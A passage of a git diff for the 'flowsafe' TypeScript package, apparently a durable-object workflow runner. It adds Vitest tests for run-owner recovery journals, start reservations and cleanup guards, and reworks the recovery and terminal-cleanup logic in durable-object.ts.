fixture.reservations.readForAdmission('unfenced-key'); + const settle = vi.spyOn(fixture.owners, 'settleReservation'); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + const outcome = await fixture.runner + .alarm() + .catch((error: unknown) => error); + expect(settle).not.toHaveBeenCalled(); + expect( + await fixture.owners.reserveAll( + [{ kind: 'run', resourceId: runId }], + { kind: 'human', id: 'foreign' }, + 'foreign-attempt', + ), + ).toBe(false); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(await fixture.reservations.readForAdmission('unfenced-key')).toEqual( + bound, + ); + expect( + await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }), + ).toEqual(before); + expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now()); + expect(b2).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ status: 503 }); + }); + + it.each([ + ['custom-null', 'missing'], + ['custom-null', 'pending'], + ['actual-prefix', 'missing'], + ['actual-prefix', 'pending'], + ] as const)('retains actual unkeyed unfenced absence or pending without B2 (%s %s)', async (mode, status) => { + const fixture = await hostR1WorkflowFixture(mode); + const runId = 'unkeyed-unfenced'; + const execution = { + tablePrefix: mode === 'custom-null' ? null : 'host_r1_', + workflowId: 'host-r1', + runId, + startToken: 'unkeyed-generation', + }; + const journal = { + version: 2, + phase: 'prepared-unfenced', + workflowId: 'host-r1', + runId, + token: 'unkeyed-attempt', + owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id }, + execution, + }; + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + await fixture.owners.reserveAll( + [{ kind: 'run', resourceId: runId }], + journal.owner, + journal.token, + ); + if (status === 'pending') + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + snapshot: { + runId, + status, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 1, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: execution.startToken, + attemptToken: journal.token, + resumeCounts: [], + startIdentity: { + owner: journal.owner, + target: { kind: 'workflow', id: 'host-r1' }, + }, + }, + }, + }, + }); + const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt'); + const settle = vi.spyOn(fixture.owners, 'settleReservation'); + const outcome = await fixture.runner + .alarm() + .catch((error: unknown) => error); + expect(settle).not.toHaveBeenCalled(); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now()); + expect(b2).not.toHaveBeenCalled(); + if (status === 'pending') expect(outcome).toMatchObject({ status: 503 }); + else expect(outcome).toBeUndefined(); + }); +}); + +describe('FS8 D3 host R1 workflow recovery object address', () => { + it.each([ + ['preparing', 'workflow'], + ['preparing', 'run'], + ['prepared', 'workflow'], + ['prepared', 'run'], + ['prepared-unfenced', 'workflow'], + ['prepared-unfenced', 'run'], + ] as const)('preserves valid foreign address before Runtime and ownership (%s %s)', async (phase, mismatch) => { + const fixture = cWorkflowFixture(true); + const reservations = fixture.runtime.startIdempotency; + if (!reservations) throw new Error('missing foreign reservation store'); + const reserved = await reservations.reserve({ + key: 'foreign-address-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'gated', + mintRunId: () => 'c-run', + }); + const claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing foreign claim'); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + ...C_WORKFLOW_BODY, + idempotencyKey: claim.key, + startReservation: claim, + }), + ) + ).status, + ).toBe(200); + const bound = await reservations.readForAdmission(claim.key); + const selected = await fixture.runtime.authoritativeStartState( + 'gated', + 'c-run', + ); + if (!selected) throw new Error('missing selected foreign row'); + const workflowId = 'gated'; + const runId = 'c-run'; + const token = selected.provenance.attemptToken; + const snapshot = { ...selected.snapshot, status: 'pending' as const }; + const workflows = await fixture.storage.getStore('workflows'); + await workflows?.persistWorkflowSnapshot({ + workflowName: workflowId, + runId, + snapshot, + }); + const journal = { + version: 2, + phase, + workflowId, + runId, + owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id }, + token, + startReservation: claim, + ...(phase === 'preparing' ? {} : { execution: selected.execution }), + }; + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + await testDatabase(fixture.storage) + .prepare( + 'UPDATE flowsafe_resource_owners SET reservation_token = ? WHERE resource_kind = ? AND resource_id = ?', + ) + .bind(token, 'run', runId) + .run(); + const rows = await testDatabase(fixture.storage) + .prepare('SELECT * FROM flowsafe_resource_owners') + .all(); + const recover = vi.spyOn(fixture.runtime, 'recoverStartAttempt'); + const observe = vi.spyOn(fixture.runtime, 'authoritativeStartState'); + const settle = vi.spyOn(fixture.env.owners, 'settleReservation'); + const release = vi.spyOn(fixture.env.owners, 'release'); + const hooks = { abandonApprovals: vi.fn(async () => {}) }; + fixture.env.lifecycle = hooks; + const state = { + ...fixture.journal.state, + id: { + name: + mismatch === 'workflow' ? 'other-workflow:c-run' : 'gated:other-run', + }, + } as DurableObjectState; + const foreign = new TestRunner(state, fixture.env); + const outcome = await foreign.alarm().catch((error: unknown) => error); + expect( + await testDatabase(fixture.storage) + .prepare('SELECT * FROM flowsafe_resource_owners') + .all(), + ).toEqual(rows); + expect( + await workflows?.loadWorkflowSnapshot({ + workflowName: workflowId, + runId, + }), + ).toEqual(snapshot); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(journal); + expect(await reservations.readForAdmission(claim.key)).toEqual(bound); + expect(recover).not.toHaveBeenCalled(); + expect(observe).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(release).not.toHaveBeenCalled(); + expect(hooks.abandonApprovals).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + }); + + it.each([ + 'own', + 'undefined', + ] as const)('keeps supported workflow object name recovery (%s)', async (name) => { + const fixture = cWorkflowFixture(true); + expect( + (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status, + ).toBe(200); + const selected = await fixture.runtime.authoritativeStartState( + 'gated', + 'c-run', + ); + if (!selected) throw new Error('missing own row'); + const journal = await durableOwnerRecovery( + fixture.runtime, + 'gated', + 'c-run', + selected.provenance.attemptToken, + ); + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + const state = { + ...fixture.journal.state, + ...(name === 'own' ? { id: { name: 'gated:c-run' } } : {}), + } as DurableObjectState; + await new TestRunner(state, fixture.env).alarm(); + expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( + false, + ); + expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({ + kind: 'human', + id: OWNER_PRINCIPAL.id, + }); + }); +}); + +describe('FS8 D3 host R1 workflow keyed finalization preflight', () => { + it('retains the original journal claim during cold normal termination and replay without its store', async () => { + const fixture = await hostR1WorkflowFixture('custom-null'); + const runId = 'cold-terminate'; + const reserved = await fixture.reservations.reserve({ + key: 'cold-terminate-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'host-r1', + mintRunId: () => runId, + }); + const claim = await fixture.reservations.claimReservation( + reserved.reservation, + ); + if (!claim) throw new Error('missing original claim'); + let prepared: unknown; + const put = fixture.journal.values.set.bind(fixture.journal.values); + const writes = vi + .spyOn(fixture.journal.values, 'set') + .mockImplementation((key, value) => { + if ( + key === 'flowsafe:run-owner-recovery:v1' && + value && + typeof value === 'object' && + (value as { phase?: unknown }).phase === 'prepared-unfenced' + ) + prepared = structuredClone(value); + return put(key, value); + }); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId, + inputData: {}, + idempotencyKey: claim.key, + startReservation: claim, + }), + ) + ).status, + ).toBe(200); + writes.mockRestore(); + expect(prepared).toMatchObject({ + phase: 'prepared-unfenced', + startReservation: claim, + }); + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', prepared); + const cold = init( + { storage: fixture.storage }, + { + executionFence: 'none', + startIdempotency: 'none', + }, + ); + const effects = vi.fn(async () => ({})); + cold + .createWorkflow({ + id: 'host-r1', + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + cold.createStep({ + id: 'gate', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: effects, + }), + ) + .commit(); + const hostRuntime = new Proxy({} as RunnerRuntime, { + get: (_target, property) => { + const value: unknown = Reflect.get( + cold.runtime, + property, + cold.runtime, + ); + return typeof value === 'function' ? value.bind(cold.runtime) : value; + }, + }); + const approvals = vi.fn(async () => {}); + const runner = new TestRunner(fixture.journal.state, { + ...fixture.env, + runtime: hostRuntime, + lifecycle: { abandonApprovals: approvals }, + }); + const before = await fixture.reservations.readForAdmission(claim.key); + const settle = vi.spyOn(fixture.owners, 'settleReservation'); + const release = vi.spyOn(fixture.owners, 'release'); + const completion = vi.spyOn(cold.runtime, 'completeTerminalCleanup'); + for (const action of ['terminate', 'terminate-replay']) { + const response = await runner.fetch( + post(`/runs/host-r1/${runId}/${action}`, {}), + ); + expect(await fixture.owners.owner('run', runId)).toEqual({ + kind: 'human', + id: OWNER_PRINCIPAL.id, + }); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual(prepared); + expect(await fixture.reservations.readForAdmission(claim.key)).toEqual( + before, + ); + expect(settle).not.toHaveBeenCalled(); + expect(release).not.toHaveBeenCalled(); + expect(approvals).not.toHaveBeenCalled(); + expect(completion).not.toHaveBeenCalled(); + expect(effects).not.toHaveBeenCalled(); + expect(response.status).toBe(503); + } + expect( + ( + await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }) + )?.status, + ).toBe('cancelled'); + expect(fixture.effects()).toBe(1); + }); + + it('retains prepared nonterminal ownership when the store disappears after native persistence', async () => { + const fixture = await hostR1WorkflowFixture('custom-null'); + const reserved = await fixture.reservations.reserve({ + key: 'workflow-finalizer-key', + owner: { kind: 'human', id: OWNER_PRINCIPAL.id }, + targetKind: 'workflow', + targetId: 'host-r1', + mintRunId: () => 'finalizer-run', + }); + const claim = await fixture.reservations.claimReservation( + reserved.reservation, + ); + if (!claim) throw new Error('missing finalizer claim'); + const native = fixture.app.runtime.start.bind(fixture.app.runtime); + vi.spyOn(fixture.app.runtime, 'start').mockImplementation( + async (...args) => { + const summary = await native(...args); + vi.spyOn( + fixture.app.runtime, + 'startIdempotency', + 'get', + ).mockReturnValue(undefined); + return summary; + }, + ); + const settle = vi.spyOn(fixture.owners, 'settleReservation'); + const response = await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId: 'finalizer-run', + inputData: {}, + idempotencyKey: claim.key, + startReservation: claim, + }), + ); + expect(settle).not.toHaveBeenCalled(); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toMatchObject({ phase: 'prepared-unfenced', startReservation: claim }); + expect( + ( + await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'finalizer-run', + }) + )?.status, + ).toBe('suspended'); + expect( + await fixture.reservations.readForAdmission(claim.key), + ).toMatchObject({ state: 'started', binding: { kind: 'bound' } }); + expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now()); + expect(response.status).toBe(503); + }); +}); + +describe('FS8 D3 host R1 workflow legacy cleanup wait guards', () => { + it.each([ + 'dispatch', + 'owner release', + 'completion', + ] as const)('retains a journal appearing during the final legacy %s wait', async (boundary) => { + const fixture = await hostR1WorkflowFixture('custom-null'); + const runId = 'late-journal'; + expect( + ( + await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId, + inputData: {}, + }), + ) + ).status, + ).toBe(200); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + }); + if (!snapshot?.requestContext) throw new Error('missing stored run'); + delete snapshot.requestContext['flowsafe.runProvenance']; + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 1, + scheduleDispatch: { + scheduleId: 'late-schedule', + dispatchId: 'late-dispatch', + }, + }; + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId, + snapshot, + }); + const journal = { version: 1 }; + const replace = () => + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal); + const dispatch = vi.fn(async () => { + if (boundary === 'dispatch') replace(); + }); + fixture.env.lifecycle = { + abandonApprovals: async () => {}, + discardScheduleDispatch: dispatch, + }; + const nativeRelease = fixture.owners.release.bind(fixture.owners); + const release = vi + .spyOn(fixture.owners, 'release') + .mockImplementation(async (...args) => { + const result = await nativeRelease(...args); + if (boundary === 'owner release') replace(); + return result; + }); + const nativeComplete = fixture.app.runtime.completeTerminalCleanup.bind( + fixture.app.runtime, + ); + const complete = vi + .spyOn(fixture.app.runtime, 'completeTerminalCleanup') + .mockImplementation(async (...args) => { + const result = await nativeComplete(...args); + if (boundary === 'completion') replace(); + return result; + }); + const response = await fixture.runner.fetch( + post(`/runs/host-r1/${runId}/terminate`, {}), + ); + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + await response.clone().text(), + ).toEqual(journal); + expect(await fixture.owners.owner('run', runId)).toEqual( + boundary === 'dispatch' + ? { kind: 'human', id: OWNER_PRINCIPAL.id } + : undefined, + ); + expect(dispatch).toHaveBeenCalledOnce(); + expect(release).toHaveBeenCalledTimes(boundary === 'dispatch' ? 0 : 1); + expect(complete).toHaveBeenCalledTimes(boundary === 'completion' ? 1 : 0); + expect(response.status).toBe(503); + }); + + it.each([ + 'journal', + 'active execution', + ] as const)('retains owner after approval wait changes legacy authority (%s)', async (change) => { + const fixture = await hostR1WorkflowFixture('custom-null'); + expect( + ( + await fixture.runner.fetch( + post('/runs', { + workflowId: 'host-r1', + runId: 'legacy-wait', + inputData: {}, + }), + ) + ).status, + ).toBe(200); + const snapshot = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'legacy-wait', + }); + if (!snapshot?.requestContext) throw new Error('missing Core row'); + delete snapshot.requestContext['flowsafe.runProvenance']; + await fixture.workflows.persistWorkflowSnapshot({ + workflowName: 'host-r1', + runId: 'legacy-wait', + snapshot, + }); + fixture.env.lifecycle = { + abandonApprovals: async () => { + if (change === 'journal') + fixture.journal.values.set('flowsafe:run-owner-recovery:v1', { + version: 1, + }); + else vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true); + }, + }; + const release = vi.spyOn(fixture.owners, 'release'); + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const response = await fixture.runner.fetch( + post('/runs/host-r1/legacy-wait/terminate', {}), + ); + expect(await fixture.owners.owner('run', 'legacy-wait')).toEqual({ + kind: 'human', + id: OWNER_PRINCIPAL.id, + }); + expect(release).not.toHaveBeenCalled(); + expect(complete).not.toHaveBeenCalled(); + if (change === 'journal') + expect( + fixture.journal.values.get('flowsafe:run-owner-recovery:v1'), + ).toEqual({ version: 1 }); + expect(response.status).toBe(503); + }); +}); diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index bc3c2bb6..f0f60dec 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -28,12 +28,19 @@ import { } from './deployment-identity.js'; import { DoStatusError, doErrorResponse } from './do-error-response.js'; import { + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + isRunStartPendingError, MUTATION_EPOCH_HEADER, mutationEpochFromHeader, + normalizeD1RunExecutionIdentity, + normalizeRunExecutionIdentity, + normalizeStartExecutionIdentity, normalizeStartIdentity, + type RunExecutionIdentity, + RunStartPendingError, } from './execution-admission.js'; import { - admitsExistingRun, admitsRunStart, ExecutionFencedError, type ExecutionFenceReading, @@ -41,9 +48,17 @@ import { readExecutionFence, } from './execution-fence.js'; import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js'; +import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; import { isPathSafeId } from './path-safe-id.js'; import { + lifecycleFromRequestContext, + terminalCleanupFor, +} from './run-lifecycle.js'; +import { isTerminalRunStatus } from './run-terminal-state.js'; +import { + type AuthoritativeStartState, InvalidRunRequestError, + type RecoveredStart, RunAlreadyExistsError, type RunLifecycleCas, type RunLifecycleTransitionResult, @@ -57,6 +72,11 @@ import { type ScheduleSourceStore, type ScheduleSourceWorkflowTarget, } from './schedule-source.js'; +import { + captureReservation, + type StartReservationReading, + sameReservationIdentity, +} from './start-reservation-contract.js'; import { dueSuspensionDeadline, isReadableRunSummary, @@ -150,14 +170,68 @@ const SUSPENSION_DEADLINE_UNREADABLE_LIMIT_MS = 86_400_000; // lasts. const SUSPENSION_DEADLINE_ARM_FLOOR_MS = 1_000; -interface RunOwnerRecovery { - version: 1; +type RunOwnerRecovery = { + version: 2; workflowId: string; runId: string; token: string; + owner: DurableObjectRunOwner; + startReservation?: StartReservationReading; +} & ( + | { phase: 'preparing'; execution?: never } + | { phase: 'prepared'; execution: D1RunExecutionIdentity } + | { phase: 'prepared-unfenced'; execution: RunExecutionIdentity } +); + +interface RunStartFrame { + token: string; + unwound: boolean; +} + +function recoveryObject(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('stored run owner recovery is malformed'); + const copy: Record = Object.create(null); + for (const [key, descriptor] of Object.entries( + Object.getOwnPropertyDescriptors(value), + )) { + if (!('value' in descriptor)) + throw new Error('stored run owner recovery is malformed'); + copy[key] = descriptor.value; + } + return copy; +} + +function sameRunRecovery( + actual: RunOwnerRecovery, + expected: RunOwnerRecovery, +): boolean { + const claim = actual.startReservation; + const wantedClaim = expected.startReservation; + return ( + actual.version === expected.version && + actual.phase === expected.phase && + actual.token === expected.token && + actual.workflowId === expected.workflowId && + actual.runId === expected.runId && + actual.owner.kind === expected.owner.kind && + actual.owner.id === expected.owner.id && + actual.execution?.tablePrefix === expected.execution?.tablePrefix && + actual.execution?.workflowId === expected.execution?.workflowId && + actual.execution?.runId === expected.execution?.runId && + actual.execution?.startToken === expected.execution?.startToken && + (claim === undefined + ? wantedClaim === undefined + : wantedClaim !== undefined && + sameReservationIdentity(claim, wantedClaim) && + claim.state === wantedClaim.state && + claim.updatedAt === wantedClaim.updatedAt && + claim.binding.kind === wantedClaim.binding.kind) + ); } interface StartBody { + startReservation?: unknown; workflowId?: string; runId?: string; inputData?: unknown; @@ -260,7 +334,7 @@ export abstract class DurableObjectRunner { * after an eviction is no. Anything written to storage would survive the * isolate that wrote it and keep saying yes. */ - readonly #startsInFlight = new Set(); + readonly #startsInFlight = new Map(); constructor(state: DurableObjectRunnerState | undefined, env: TEnv) { this.state = state; @@ -433,13 +507,100 @@ export abstract class DurableObjectRunner { runId: string, owner: DurableObjectRunOwner, result: RunLifecycleTransitionResult, + selected?: AuthoritativeStartState, + originalClaim?: StartReservationReading, + ): Promise { + const claim = + originalClaim === undefined + ? undefined + : captureReservation(originalClaim, 'started'); + const assertQuiescent = (): void => { + if ( + this.#startsInFlight.has(this.#inFlightKey(workflowId, runId)) || + runtime.isRunActive(workflowId, runId) + ) + throw new RunStartPendingError(); + }; + assertQuiescent(); + const state = + selected ?? + (await runtime.authoritativeStartState(workflowId, runId, { + includeLegacy: true, + })); + if ( + !state || + state.kind === 'initial' || + !isTerminalRunStatus(state.snapshot.status) || + !isTerminalRunStatus(state.summary.status) + ) + throw new RunStateUnreadableError(workflowId, runId); + const cleanup = terminalCleanupFor( + lifecycleFromRequestContext(state.snapshot.requestContext), + ); + if ( + !cleanup || + state.summary.runId !== result.summary.runId || + state.summary.status !== result.summary.status || + cleanup.status !== result.cleanup.status || + cleanup.revision !== result.cleanup.revision || + cleanup.scheduleDispatch?.scheduleId !== + result.cleanup.scheduleDispatch?.scheduleId || + cleanup.scheduleDispatch?.dispatchId !== + result.cleanup.scheduleDispatch?.dispatchId || + (result.cleanup.cleanupCompleted && !cleanup.cleanupCompleted) + ) + throw new RunStateUnreadableError(workflowId, runId); + const stored = await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY); + assertQuiescent(); + if (state.kind === 'legacy') { + if (stored !== undefined || claim !== undefined) + throw new RunStateUnreadableError(workflowId, runId); + } else if (stored !== undefined) { + const recovery = this.#runOwnerRecovery(stored); + this.#assertRunIdentity(recovery.workflowId, recovery.runId); + if ( + claim && + !sameRunRecovery(recovery, { ...recovery, startReservation: claim }) + ) + throw new RunStateUnreadableError(workflowId, runId); + return this.#finishRunOwner(recovery, state.summary, state); + } else { + await runtime.settleStartExecution(state, claim); + } + const assertNoJournal = async (): Promise => { + assertQuiescent(); + if ( + (await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY)) !== undefined + ) + throw new RunStateUnreadableError(workflowId, runId); + assertQuiescent(); + }; + return this.#completeTerminalEffects( + runtime, + workflowId, + runId, + owner, + { ...result, summary: state.summary, cleanup }, + assertNoJournal, + ); + } + + async #completeTerminalEffects( + runtime: RunnerRuntime, + workflowId: string, + runId: string, + owner: DurableObjectRunOwner, + result: RunLifecycleTransitionResult, + validate?: () => Promise, ): Promise { + if (validate) await validate(); if (result.cleanup.cleanupCompleted) return result.summary; const hooks = this.runLifecycle(this.env); if (!hooks) { throw new Error('run termination requires lifecycle cleanup hooks'); } await hooks.abandonApprovals(workflowId, runId, result.cleanup.status); + if (validate) await validate(); if (result.cleanup.scheduleDispatch) { if (!hooks?.discardScheduleDispatch) { throw new Error( @@ -451,23 +612,28 @@ export abstract class DurableObjectRunner { result.cleanup.scheduleDispatch.dispatchId, runId, ); + if (validate) await validate(); } const ownership = this.runOwnership(this.env); if (!ownership.release) { throw new Error('run termination requires ownership release support'); } const released = await ownership.release('run', runId, owner); + if (validate) await validate(); if (!released) { const current = await ownership.owner('run', runId); + if (validate) await validate(); if (current) { throw new Error(`run '${runId}' ownership could not be released`); } } - return runtime.completeTerminalCleanup( + const summary = await runtime.completeTerminalCleanup( workflowId, runId, result.cleanup.revision, ); + if (validate) await validate(); + return summary; } async #startSource( @@ -645,9 +811,24 @@ export abstract class DurableObjectRunner { * journal and DELETE it. Keeping the recovery cadence instead costs one * spurious wake and cannot lose a deadline. */ - async #clearRunOwnerRecovery(keepWake: boolean): Promise { + async #assertRunOwnerRecoveryCurrent( + recovery: RunOwnerRecovery, + ): Promise { + const current = await this.state?.storage?.get(RUN_OWNER_RECOVERY_KEY); + if ( + current === undefined || + !sameRunRecovery(this.#runOwnerRecovery(current), recovery) + ) + throw new Error('run owner recovery changed'); + } + + async #clearRunOwnerRecovery( + recovery: RunOwnerRecovery, + keepWake: boolean, + ): Promise { const storage = this.state?.storage; if (!storage) return; + await this.#assertRunOwnerRecoveryCurrent(recovery); await storage.delete(RUN_OWNER_RECOVERY_KEY); if (keepWake) { await this.#armAlarmWatchdog(); @@ -656,33 +837,123 @@ export abstract class DurableObjectRunner { await this.#armNextAlarm(); } - async #clearRunOwnerRecoveryBestEffort(keepWake: boolean): Promise { + async #prepareRunOwner( + recovery: RunOwnerRecovery, + execution: RunExecutionIdentity, + ): Promise { + const identity = normalizeRunExecutionIdentity(execution); + if ( + identity.runId !== recovery.runId || + identity.workflowId !== recovery.workflowId + ) + throw new Error('prepared run identity mismatch'); + const prepared: RunOwnerRecovery = this.#ensureRuntime().executionFence + ? { + ...recovery, + phase: 'prepared', + execution: normalizeD1RunExecutionIdentity(identity), + } + : { ...recovery, phase: 'prepared-unfenced', execution: identity }; + const storage = this.state?.storage; + if (!storage) + throw new Error('run owner recovery requires durable storage'); + const current = this.#runOwnerRecovery( + await storage.get(RUN_OWNER_RECOVERY_KEY), + ); + if (sameRunRecovery(current, prepared)) return prepared; + if (current.phase !== 'preparing' || !sameRunRecovery(current, recovery)) + throw new Error('run owner recovery changed'); try { - await this.#clearRunOwnerRecovery(keepWake); + await storage.put(RUN_OWNER_RECOVERY_KEY, prepared); } catch (error) { - console.error('run owner recovery cleanup failed', error); + const reread = await storage.get(RUN_OWNER_RECOVERY_KEY); + if ( + reread === undefined || + !sameRunRecovery(this.#runOwnerRecovery(reread), prepared) + ) + throw error; } + return prepared; } - async #settleRunOwnerBestEffort( + #matchingRunState( recovery: RunOwnerRecovery, - release: boolean, - keepWake = false, - ): Promise { - try { - await this.runOwnership(this.env).settleReservation( - recovery.token, - release ? [{ kind: 'run', resourceId: recovery.runId }] : [], + state: AuthoritativeStartState | null, + ): AuthoritativeStartState { + const execution = recovery.execution; + if ( + !state || + !execution || + state.execution.tablePrefix !== execution.tablePrefix || + state.execution.workflowId !== execution.workflowId || + state.execution.runId !== execution.runId || + state.execution.startToken !== execution.startToken + ) + throw new RunStateUnreadableError(recovery.workflowId, recovery.runId); + const identity = state.provenance.startIdentity; + if ( + identity?.target.kind !== 'workflow' || + identity.target.id !== recovery.workflowId || + state.provenance.agentStart !== undefined + ) + throw new RunStateUnreadableError(recovery.workflowId, recovery.runId); + const claim = recovery.startReservation; + if ( + claim && + (identity.owner.kind !== claim.owner.kind || + identity.owner.id !== claim.owner.id) + ) + throw new RunStateUnreadableError(recovery.workflowId, recovery.runId); + return state; + } + + async #finishRunOwner( + recovery: RunOwnerRecovery, + summary: RunSummary, + selected?: AuthoritativeStartState, + ): Promise { + const runtime = this.#ensureRuntime(); + if (recovery.startReservation && !runtime.startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', ); - await this.#clearRunOwnerRecoveryBestEffort(keepWake); - } catch (error) { - console.error('run owner recovery settlement failed', error); - try { - await this.#rearmRunOwnerRecovery(); - } catch (alarmError) { - console.error('run owner recovery rearm failed', alarmError); - } - } + await this.#assertRunOwnerRecoveryCurrent(recovery); + const state = this.#matchingRunState( + recovery, + selected ?? + (await runtime.authoritativeStartState( + recovery.workflowId, + recovery.runId, + )), + ); + if (state.kind === 'initial') throw new RunStartPendingError(); + await this.#assertRunOwnerRecoveryCurrent(recovery); + if (isTerminalRunStatus(state.summary.status)) + await runtime.settleStartExecution(state, recovery.startReservation); + await this.runOwnership(this.env).settleReservation(recovery.token, []); + const cleanup = terminalCleanupFor( + lifecycleFromRequestContext(state.snapshot.requestContext), + ); + if (cleanup) + summary = await this.#completeTerminalEffects( + runtime, + recovery.workflowId, + recovery.runId, + recovery.owner, + { + summary: state.summary, + transitioned: false, + casMatched: true, + cleanup, + }, + ); + const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort( + recovery.workflowId, + recovery.runId, + summary, + ); + await this.#clearRunOwnerRecovery(recovery, !reconciled); + return summary; } async #rearmRunOwnerRecovery(): Promise { @@ -1052,6 +1323,7 @@ export abstract class DurableObjectRunner { try { return await runtime.authoritativeStatus(workflowId, runId); } catch (error) { + if (isRunStartPendingError(error)) throw error; throw error instanceof RunStateUnreadableError ? error : new RunStateUnreadableError(workflowId, runId, { cause: error }); @@ -1295,6 +1567,26 @@ export abstract class DurableObjectRunner { await this.#resumeDueSuspensionDeadline(runtime, stored, entry, now); return true; } catch (error) { + if (isRunStartPendingError(error)) { + if ( + stored?.entries.some((entry) => entry.unreadableSince !== undefined) + ) { + try { + await this.state?.storage?.put(SUSPENSION_DEADLINE_STORAGE_KEY, { + ...stored, + entries: stored.entries.map( + ({ unreadableSince: _unreadableSince, ...entry }) => entry, + ), + }); + } catch (resetError) { + console.error( + 'suspension deadline pending stamp reset failed', + resetError, + ); + } + } + return false; + } // The deployment is fenced (or its fence could not be read). Classified // with the same THREE outcomes as an unreadable read — uncharged, // unconverged, watchdog cadence — because a wake refused by an @@ -1356,56 +1648,173 @@ export abstract class DurableObjectRunner { } } - async #recoverRunOwner(recovery: RunOwnerRecovery): Promise { - const summary = await this.#ensureRuntime().recoverStartAttempt( - recovery.workflowId, - recovery.runId, - recovery.token, - ); - await this.runOwnership(this.env).settleReservation( - recovery.token, - summary ? [] : [{ kind: 'run', resourceId: recovery.runId }], - ); - // A start interrupted AFTER Mastra persisted a suspension is the one case - // where no other boundary is coming: the route that would have reconciled - // died with its isolate, and clearing the journal below re-arms the alarm - // from a record nothing ever wrote. This summary is the authoritative one - // recoverStartAttempt read back, so derive from it here or the run stays - // suspended with no wake at all. It needs no readability guard of its own: - // recoverStartAttempt now throws RunStateUnreadableError on Mastra's - // in-memory fallback BEFORE it concludes anything from it, so a degraded - // read never reaches this line. That throw leaves the journal and the - // reservation intact and propagates to alarm(), which classifies it and - // keeps the 60 s recovery cadence until the read heals. - const reconciled = summary - ? await this.#reconcileSuspensionDeadlinesBestEffort( + async #recoverRunOwner( + recovery: RunOwnerRecovery, + ownFrame?: RunStartFrame, + ownFailure?: unknown, + ): Promise { + this.#assertRunIdentity(recovery.workflowId, recovery.runId); + const runtime = this.#ensureRuntime(); + if (recovery.startReservation && !runtime.startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + const key = this.#inFlightKey(recovery.workflowId, recovery.runId); + const quiescent = (): boolean => { + const active = this.#startsInFlight.get(key); + return ( + active === undefined || + (active === ownFrame && + ownFrame.unwound && + ownFrame.token === recovery.token) + ); + }; + if ( + !quiescent() || + runtime.isRunActive(recovery.workflowId, recovery.runId) + ) + throw new RunStartPendingError(); + await this.#assertRunOwnerRecoveryCurrent(recovery); + let recovered: RecoveredStart | null = null; + if (recovery.phase === 'prepared') { + recovered = await runtime.recoverStartAttempt(recovery.execution, { + attemptToken: recovery.token, + isOwnerQuiescent: quiescent, + startReservation: recovery.startReservation, + expectedTarget: { kind: 'workflow' }, + }); + } else if (recovery.phase === 'prepared-unfenced') { + const state = this.#matchingRunState( + recovery, + await runtime.authoritativeStartState( recovery.workflowId, 